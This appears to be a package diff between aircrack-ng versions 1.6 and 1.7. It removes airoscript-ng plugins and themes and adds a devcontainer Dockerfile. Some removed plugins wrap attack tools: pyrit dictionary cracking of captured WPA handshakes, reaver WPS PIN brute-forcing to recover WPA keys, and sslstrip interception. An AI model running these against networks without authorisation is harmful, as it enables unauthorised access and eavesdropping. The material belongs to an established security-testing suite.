-	 $mx -lt 0  && mx=$(( 255 + $mx ))
-	 $my -lt 0  && my=$(( 255 + $my ))
-	BUTTON=$(( ($mb & 3) + 1 ))
-	MOUSEX=$(( $mx - 32 ))
-	MOUSEY=$(( $my - 32 ))
-	choice=$(($MOUSEY - $Y_OFFSET))
-	ans=$choice;
-	echo $choice;
-}
-
-mkmenuheader(){
-$clear;
-	stty -echo; echo -n $'\e6n'; read -d R x; stty echo; a=$(( $(echo ${x#??} |cut -d\; -f1) + 1 ))
-	Y_OFFSET=$a;
-	echo -en "\033$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n";
-}
-
-
-_read(){
-	get_mouse_position
-}
-special_single_question(){
-	get_mouse_position
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/pyrit Deleted

@@ -1,28 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-Crack_password_with_pyrit_error() { warn "${mark}You cannot crack this network. Packages not collected"; }
-p_menu+=("Crack password with pyrit")
-pyrit_attacks=(attack_batch attack_cowpatty attack_db attack_passthrough  batch benchmark create_essid  delete_essid eval export_passwords export_cowpatty export_hashdb import_passwords import_unique_passwords list_cores list_essids passthrough relay selftest serve strip stripLive verify )
-
-Crack_password_with_pyrit(){
-     ! -e $DUMP_PATH/$Host_MAC-01.cap  && Crack_password_with_pyrit_error || {
-        read -i "$default_pyrit_dictionary" -p "Enter dictionary " pyrit_dictionary
-        pyrit_opts="-b \"$Host_MAC\" -e \"$Host_SSID\" -i \"$pyrit_dictionary\" -o \"$DUMP_PATH/$Host_MAC.pyrit_key\" -r \"$DUMP_PATH/$Host_MAC-01.cap\" "
-        mkmenu "Select pyrit attack" ${pyrit_attacks@}
-        read -i "$custom_opts" "Add any custom pyrit opt you want (e.j, remote servers, relay stuffs...): " custom_opts
-        execute "pyrit attack" pyrit $pyrit_opts ${pyrit_attacks$choice - 1} && cp $DUMP_PATH/$Host_MAC.pyrit_key $DUMP_PATH/$Host_MAC.key
-    }
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/reaver Deleted

@@ -1,31 +0,0 @@
-#! /bin/bash
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#DEPENDS: reaver
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-p_menu+=("Crack with reaver")
-extend_menuSelect WPA Attack="Crack with reaver"
-
-Crack_with_reaver(){
-     $Host_MAC  && {
-        execute "Reaver" reaver -i $wifi -b $Host_MAC &> $DUMP_PATH/reaver_$Host_MAC.log
-        cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPS PIN|WPA PSK| AP SSID" && echo "Press enter to continue" || echo "${mark} Reaver could not get the key, press enter to continue"
-        cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" && {
-            cat $DUMP_PATH/reaver_$Host_MAC.log | egrep -i "WPA PSK" >> $DUMP_PATH/$Host_MAC.key
-        }
-    } || {
-        echo "${mark} You have to select a network first"
-    }
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/reload Deleted

@@ -1,37 +0,0 @@
-#! /bin/bash
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-! /bin/bash
-
-declare -a -x enabled_plugins
-declare -a p_menu
-
-_source(){ for cfile in $@; do if  -f $cfile  &&  -O $cfile ; then source $cfile; else if  "$debug" == 1 ; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; }
-
- ! $path  && {
-	 $(dirname ${BASH_SOURCE0}) =~ "local"  &&  {
-		path=/usr/local/share/airoscript-ng
-		_source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf"
-	} || {
-		_source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf"
-		_source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf"
-	    path=/usr/share/airoscript-ng
-	}
-}
-
-_source "$path/_internal $path/menu $path/interface"
-_source  "$path/themes/$theme" || default_theme
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/sslstrip Deleted

@@ -1,21 +0,0 @@
-# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions.
-# This is highly unmantained, as now is a plugin, you can easily modify it =)
-#DEPENDS: sslstrip
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-p_menu+=("Enable sslstrip on dsniff usage");
-Enable_sslstrip_on_dsniff_usage(){ dsniff_helpers+="sslstrip"; }
-sslstrip(){
-    execute "SSlstripping" sslstrip -a -k -f -l 8080 &
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/tcpdstat Deleted

@@ -1,28 +0,0 @@
-#tcpdstats
-#DEPENDS: tcpdstat
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-
-p_menu+=("Show tcpdstats report on cracked network");
-
-Show_tcpdstats_report_on_cracked_network(){
-    _tcpdstat; less $DUMP_PATH/$Host_MAC.report_proto_stats
-}
-
-_tcpdstat(){
-    airdecap-ng -w `cat $DUMP_PATH/$Host_MAC.key` $DUMP_PATH/$Host_MAC-01.cap
-    tcpdstat $DUMP_PATH/$Host_MAC-01-dec.cap &> $DUMP_PATH/$Host_MAC.report_proto_stats
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/tmux Deleted

@@ -1,69 +0,0 @@
-#DEPENDS: tmux
-export TERMINAL=tmux
-interfaces+=("tmux");
-export attack_notification="Attack launched, see 'Current attack' window"
-time_=0;
-execute(){
-    title=$1; shift;
-
-    if   "$ADDOPTIONS" != "" ; then
-        printf -- "Executing $@"
-        echo
-        read -p $"Enter extra options to execute: " eopts
-    fi
-         $1 == "crack"  && { AUTO=0; QUIET=""; shift; mode=crack; }
-
-        if  "$QUIET" != ""  ||  "$AUTO" == "1" ; then
-             $NOTITLE  || warn "${mark}$title"
-            ${@} $eopts &> /dev/null &
-        else
-            args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing.
-
-             $wait_for_execute == 1  && mode=crack;
-
-             $mode == "crack"  && { ${args}; read -p 'Press any key to continue'; mode=""; return; }
-
-             $title == "Help"  && {
-                tmux split-window -t airoscript -h -p30 "$args"
-                tmux select-pane -L
-                return
-            }
-
-             $time_ == 0  && {
-                tmux neww -t airoscript -n "Current attack" "$args";
-                tmux select-window -t Main;
-                return
-            }
-             $time_ == 1  && {
-                tmux splitw -v -t "Current attack" "$args";
-                tmux select-window -t Main;
-                return
-            }
-             $time_ == 2  && {
-				tmux splitw -h -t "Current attack" "$args";
-                tmux select-window -t Main;
-                return
-            }
-            tmux splitw -h -t "Current attack" "$args";
-            tmux select-window -t Main;
-        fi
-}
-
-export dont_check_x=1
-
- -e ~/.airoscript_tmux  || {
-    tmux new -s airoscript -n "Main" -d "airoscript-ng $main_args" &&
-    tmux bind -n S-left prev
-    tmux bind -n S-right next
-    tmux set mouse-select-pane on
-    tmux set mouse-select-window on
-    pid=$$
-    echo $pid >> ~/.airoscript_tmux
-    tmux at -t airoscript
-    rm ~/.airoscript_tmux
-    exit
-} && {
-    rm ~/.airoscript_tmux
-}
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/wkhtmltopdf Deleted

@@ -1,21 +0,0 @@
-# pdf reports
-#DEPENDS: wkhtmltopdf
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-pdf_report(){ wkhtmltopdf $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf ; }
-make_report(){ _make_report ; pdf_report ; }
-
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/xterm Deleted

@@ -1,132 +0,0 @@
-#DEPENDS: xterm
-export TERMINAL=xterm
-interfaces+=("xterm");
-
-resolution() {
-   { reso=$( awk '/\*/ {print $1}' <(xrandr) | head -n1; ); } &>/dev/null
-    for i in ${!available_resos@}; do  ${available_resos$i} == $reso  && {  reson=$reso; pos=$i; }; done
-     $reson != ""  && { export resonset=1;  markwarn $"Automatically setting resolution to $reso" ; }
-
-		xhost &>/dev/null || {
-			error $"Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue";
-		}
-
-	while true; do
-		 $autoset == 1  && { set_resolution_data 2; return; }
-		if  ${resonset} == "" ; then mkmenu $"Set resolution" ${available_resos@}; pos=$choice; fi
-	    set_resolution_data $pos
-		 $TLX == ""  && { $clear; error $"Unknown resolution, try again"; } || break;
-	done
-}
-
-function set_resolution_data(){
-while true; do
-    case $1 in
-		1  ) TLX="83";TLY="11";TRX="60";TRY="18";BLX="75";BLY="18";
-               BRX="27";BRY="17";bLX="100";bLY="30";bRX="54";bRY="25"; setterminal; break;;
-		2 ) TLX="90";TLY="11";TRX="60";TRY="18";BLX="78";BLY="26";
-               BRX="52";BRY="15";bLX="130";bLY="30";bRX="78";bRY="25"; setterminal; break;;
-		3 ) TLX="92";TLY="11";TRX="68";TRY="25";BLX="78";BLY="26";
-               BRX="52";BRY="15";bLX="92" ;bLY="39";bRX="78";bRY="24"; setterminal; break;;
-		4 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36";
-               BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;;
-		5 ) TLX="92";TLY="14";TRX="68";TRY="25";BLX="92";BLY="36";
-               BRX="74";BRY="20";bLX="100";bLY="52";bRX="54";bRY="25"; setterminal; break;;
-    	6 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30";
-               BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;;
-		7 ) TLX="100";TLY="20";TRX="109";TRY="20";BLX="100";BLY="30";
-               BRX="109";BRY="20";bLX="100";bLY="52";bRX="109";bRY="30"; setterminal; break;;
-		8 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35";
-               BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;;
-		9 ) TLX="110";TLY="35";TRX="99";TRY="40";BLX="110";BLY="35";
-               BRX="99";BRY="30";bLX="110";bLY="72";bRX="99";bRY="40"; setterminal; break;;
-		10) TLX="130";TLY="40";TRX="68";TRY="25";BLX="130";BLY="40";
-               BRX="132";BRY="35";bLX="130";bLY="85";bRX="132";bRY="48"; setterminal; break;;
-		* ) break;;
-		esac
-done
-    }
-
-getterminal(){
-    if  -x $TERMBIN/$TERMINAL ; then
-	    _debug "Using configured terminal"
-	else
-		_debug "$TERMINAL was not used, not found on path"
-		_debug "Using default terminal"
-			TERMINAL=`ls -l1 /etc/alternatives/x-terminal-emulator|cut -d ">" -f 2|cut -d " " -f 2|head -n1` &>/dev/null;
-	fi
-
-	if  -x "$TERMBIN/$TERMINAL"  ||  -x "/usr/bin/$TERMINAL"  ||  -x "/usr/sbin/$TERMINAL" ; then D="1"
-	else
-        if  -e $TERM ; then
-		    _debug "Using environment defined terminal ($TERM)"
-			TERMINAL=$TERM
-		else
-            if  -x "$TERMBIN/xterm" ; then
-				TERMINAL="xterm" && _debug "Using Xterm"
-			else
-			echo $"I cant find any good terminal, please set one on your conffile
-				Your TERMINAL var contains no valid temrinal
-				Your alternative against x-terminal-emulator contains no terminal
-				Xterm can\'t be found on your system, Maybe not in /usr/bin?"
-				exit
-			fi
-		fi
-	fi
-}
-
-
-function setterminal {
-	getterminal
-	_debug "Im going to set terminal options for your terminal now"
-
-    case $TERMINAL in
-		xterm|uxterm )
-			TOPLEFT="-geometry $TLX*$TLY+0+0 "
-			TOPRIGHT="-geometry $TRX*$TRY-0+0 "
-			BOTTOMLEFT="-geometry $BLX*$BLY+0-0 "
-			BOTTOMRIGHT="-geometry $BRX*$BRY-0-0 "
-			TOPLEFTBIG="-geometry $bLX*$bLY+0+0 "
-			TOPRIGHTBIG="-geometry $bLX*$bLY+0-0 "
-			HOLDFLAG="-hold"
-			TITLEFLAG="-T"
-			FGC="-fg"
-			BGC="-bg"
-			EXECFLAG="-e"
-            ;;
-		gnome-terminal|gnome-terminal.wrapper )
-			TOPLEFT="-geometry=$TLX*$TLY+0+0 "
-			TOPRIGHT="-geometry=$TRX*$TRY-0+0 "
-			BOTTOMLEFT="-geometry=$BLX*$BLY+0-0 "
-			BOTTOMRIGHT="-geometry=$BRX*$BRY-0-0 "
-			TOPLEFTBIG="-geometry=$bLX*$bLY+0+0 "
-			TOPRIGHTBIG="-geometry=$bLX*$bLY+0-0 "
-			EXECFLAG="-e "
-			HOLDFLAG=""
-			TITLEFLAG="-t"
-			FGC=""
-			DUMPING_COLOR=""
-			INJECTION_COLOR=""
-			ASSOCIATION_COLOR=""
-			DEAUTH_COLOR=""
-			BACKGROUND_COLOR=""
-			BGC=""
-            ;;
-	esac
-     "$debug" = "1"  && echo $TOPLEFT \
-				$TOPRIGHT \
-				$BOTTOMLEFT \
-				$BOTTOMRIGHT \
-				$TOPLEFTBIG \
-				$TOPRIGHTBIG \
-				$HOLDFLAG\
-				$TITLEFLAG\
-				$FGC\
-			    $BGC\
-				printf -- "$EXECFLAG \n"
-}
-
-# Resolution stuff
-    available_resos=( 640x480 800x480 800x600 1024x600 1024x768 1280x768 1280x800 1280x1024 1440x900 1600x1200 )
-	 ! $dont_check_x  && resolution
-	export termargs="$TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG ";

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/yad Deleted

@@ -1,35 +0,0 @@
-# Copyright (2011) David Francos Cuartero
-#DEPENDS: yad
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-# This can also be used as skeleton for airoscript override-functions plugin.
-
-export mark="";
-warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; }
-yesno(){ zenity --question $@; }
-single_question(){ ans=`zenity --entry --text "${@}"`; }
-
-mkmenuheader(){ return; }
-mkmenuline(){ return; }
-mkmenueline(){ return; }
-
-mkmenu(){ title=$1; shift; declare -a res; args=("${@}"); for i in ${!args@}; do res+=( "$i" "${args$i}" ); done ;
-	choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column=" " --column="n" --no-headers=1 "${res@}" --print-column=1;)
-     $? == 1  &&  $title == "Main Menu"  && exit
-}
-selectap_wrapper(){
-choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/cal/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column "position" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column=1 "${res@}" --print-column=1;)
-}
-launch_counter(){  ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; }

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/plugins/zenity Deleted

@@ -1,37 +0,0 @@
-# Copyright (2011) David Francos Cuartero
-#DEPENDS: zenity
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-# This can also be used as skeleton for airoscript override-functions plugin.
-
-export mark="";
-export autoset=1
-interfaces+=("zenity");
-_source $path/plugins/xterm;
-
-warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; }
-yesno(){ zenity --question $@; }
-single_question(){ ans=`zenity --entry --text "${@}"`; }
-mkmenuheader(){ return; }
-mkmenuline(){ return; }
-mkmenueline(){ return; }
-mkmenu(){ title=$1; shift;res=();n=0;
-    for i in "${@}"; do n=$(( n + 1 ));  "$n" == 1  && ST="TRUE" || ST="FALSE"; res+=( "$ST" "$n" "$i" ); done
-    choice=`zenity  --list  --text "$title" --width=350 --height=400 --radiolist  --column "Pick " --column "hidden" --column "Choose" --hide-column 2 "${res@}";`
-     $? == 1  &&  $title == "Main Menu"  && exit
-}
-selectap_wrapper(){ choice=`zenity  --list  --text "$title" --width=300 --height=500 --radiolist  --column "X" --column "hidden" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column 2 "${res@}"`; }
-
-launch_counter(){  ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; }

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/templates Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/templates/start.html Deleted

@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-    <title></title>
-    <style>
-        h1, h2{ text-shadow: 2px 2px 2px #ca9; text-align:center; }
-        p{ padding-left:10px; }
-        pre{ padding-left:30px; }
-        body { background: #fafafa;}
-        img{ 
-            display: block;   
-            margin-left: auto;
-            margin-right: auto;
-            border: solid 1px #EFEFEF;
-            border: solid 1px #CCC;
-            -moz-box-shadow: 3px 3px 5px #999;
-            -webkit-box-shadow: 3px 3px 5px #999;
-            box-shadow: 3px 3px 5px #999;
-        }
-
-        .section {
-            color:black;
-            position: relative;
-            width: 90%;
-            padding: 10px 0;
-            background: rgba(240, 240, 240, 0.5);
-            padding: 20px 20px 20px 20px;
-            margin-left:auto;
-            margin-right:auto;
-            margin-bottom:30px;
-            margin-top:30px;
-            /*** cross browser box shadow ***/
-            -moz-box-shadow: 0 0 2px #fff;
-            -webkit-box-shadow: 0 0 2px #fff;
-            -ms-filter: "progid:DXImageTransform.Microsoft.Glow(color=#ffffff,strength=3)";
-            filter:
-                progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=0,strength=3)
-                progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=90,strength=3)
-                progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=180,strength=3)
-                progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=270,strength=3);
-        box-shadow: 0 0 2px #fff;
-     }
-
-    .document{
-        color: white;
-        padding: 14px 20px;
-        background-color: rgba(90,60,40,0.6);
-        margin: 20px 20px 20px 20px;
-        -webkit-border-radius: 6px;    /* for Safari */
-        -moz-border-radius: 6px;       /* for Firefox */
-    }
-</style>
-</head>
-
-<body>
-    <div class="document" id="wep-attacks">

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/templates/stop Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/themes Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/themes/default.theme Deleted

@@ -1,44 +0,0 @@
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-# FIXME the separator stuff still won't fit well :(
-DUMPING_COLOR="white"
-INJECTION_COLOR="green"
-ASSOCIATION_COLOR="red"
-DEAUTH_COLOR="blue"
-BACKGROUND_COLOR="black"
-separator=" "
-separator_h="─"
-separator_v="│"
-separator_tl="╭"
-separator_tr="╮"
-separator_br="╯"
-separator_bl="╰"
-mark=$'\e0;31m+\e0m '
-red=$'\e0;31m'
-white=$'\e1;37m'
-lgrey=$'\e1;27m'
-end=$'\e0m'
-
-airoscript_ascii_art(){
- p=$'\e5m'; g=$'\e0;32m';r=$'\e0;31m';w=$'\e1;37m';e=$'\e0m'; echo -e " $r     (( (o) ))
- $w+-------$r$bold/|\\$w---+\t$end   ___  _                         _       _
- $w|$g >$r    /\|/\  $w|\t  / _ \(_)                       (_)     | |
- $w|$r     /\_|_/\ $w|  \t / /_\ \_ _ __ ___  ___  ___ _ __ _ _ __ | |_
- $w|$r    /\__|__/\\$w| \t |  _  | | '__/ _ \/ __|/ __| '__| | '_ \| __|
- $w+--------$r|$w----+  \t | | | | | | | (_) \__ \ (__| |  | | |_) | |_
-                  \t \_| |_/_|_|  \___/|___/\___|_|  |_| .__/ \__|
-                  \t                                   | |
-                  \t                                   |_|";
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/themes/inverse.theme Deleted

@@ -1,47 +0,0 @@
-#     Colors:   #Dumping	White	#FFFFFF                                            
-#               #Injection	Green	#1DFF00                                            
-#               #Association	Red	#FF0009                                            
-#               #Deauth	        Blue	#99CCFF                                            
-#               #Background	Black	#000000         
-
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-DUMPING_COLOR="black"
-INJECTION_COLOR="green"
-ASSOCIATION_COLOR="red"
-DEAUTH_COLOR="blue"
-BACKGROUND_COLOR="white"
-separator=" "
-separator_h="-"
-separator_v="|"
-separator_x="+"
-mark=$'\e0;31m+\e0m '
-red=$'\e0;31m'
-white=$'\e1;37m'
-lgrey=$'\e1;27m'
-end=$'\e0m'
-
-airoscript_ascii_art(){
- p=$'\e5m'; g=$'\e0;32m';r=$'\e0;31m';w=$'\e1;37m';e=$'\e0m'; echo -e " $r     (( (o) ))
- $w+-------$r$bold/|\\$w---+\t$end   ___  _                         _       _
- $w|$g >$r    /\|/\  $w|\t  / _ \(_)                       (_)     | |
- $w|$r     /\_|_/\ $w|  \t / /_\ \_ _ __ ___  ___  ___ _ __ _ _ __ | |_
- $w|$r    /\__|__/\\$w| \t |  _  | | '__/ _ \/ __|/ __| '__| | '_ \| __|
- $w+--------$r|$w----+  \t | | | | | | | (_) \__ \ (__| |  | | |_) | |_
-                  \t \_| |_/_|_|  \___/|___/\___|_|  |_| .__/ \__|
-                  \t                                   | |
-                  \t                                   |_|";
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/themes/minimal.theme Deleted

@@ -1,40 +0,0 @@
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-DUMPING_COLOR="white"
-INJECTION_COLOR="green"
-ASSOCIATION_COLOR="red"
-DEAUTH_COLOR="blue"
-BACKGROUND_COLOR="black"
-separator=""
-separator_h=""
-separator_v=""
-mark=$'\e0;31m+\e0m '
-red=$'\e0;31m'
-white=$'\e1;37m'
-lgrey=$'\e1;27m'
-end=$'\e0m'
-
-airoscript_ascii_art(){
- p=$'\e5m'; g=$'\e0;32m';r=$'\e0;31m';w=$'\e1;37m';e=$'\e0m'; echo -e " $r     (( (o) ))
- $w+-------$r$bold/|\\$w---+\t$end   ___  _                         _       _
- $w|$g >$r    /\|/\  $w|\t  / _ \(_)                       (_)     | |
- $w|$r     /\_|_/\ $w|  \t / /_\ \_ _ __ ___  ___  ___ _ __ _ _ __ | |_
- $w|$r    /\__|__/\\$w| \t |  _  | | '__/ _ \/ __|/ __| '__| | '_ \| __|
- $w+--------$r|$w----+  \t | | | | | | | (_) \__ \ (__| |  | | |_) | |_
-                  \t \_| |_/_|_|  \___/|___/\___|_|  |_| .__/ \__|
-                  \t                                   | |
-                  \t                                   |_|";
-}

aircrack-ng-1.7.tar.gz/.devcontainer Added

aircrack-ng-1.7.tar.gz/.devcontainer/Dockerfile Added

@@ -0,0 +1,25 @@
+# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.154.2/containers/cpp/.devcontainer/base.Dockerfile
+
+# Choice Debian / Ubuntu version: debian-10, debian-9, ubuntu-20.04, ubuntu-18.04
+ARG VARIANT="buster"
+FROM mcr.microsoft.com/vscode/devcontainers/cpp:0-${VARIANT}
+
+ARG CLANGURL="https://releases.llvm.org/3.8.1/"
+ARG CLANGFILE="clang+llvm-3.8.1-x86_64-linux-gnu-ubuntu-16.04.tar.xz"
+
+RUN apt-get update \
+ && export DEBIAN_FRONTEND=noninteractive \
+ && apt-get -y install --no-install-recommends \
+      build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev \
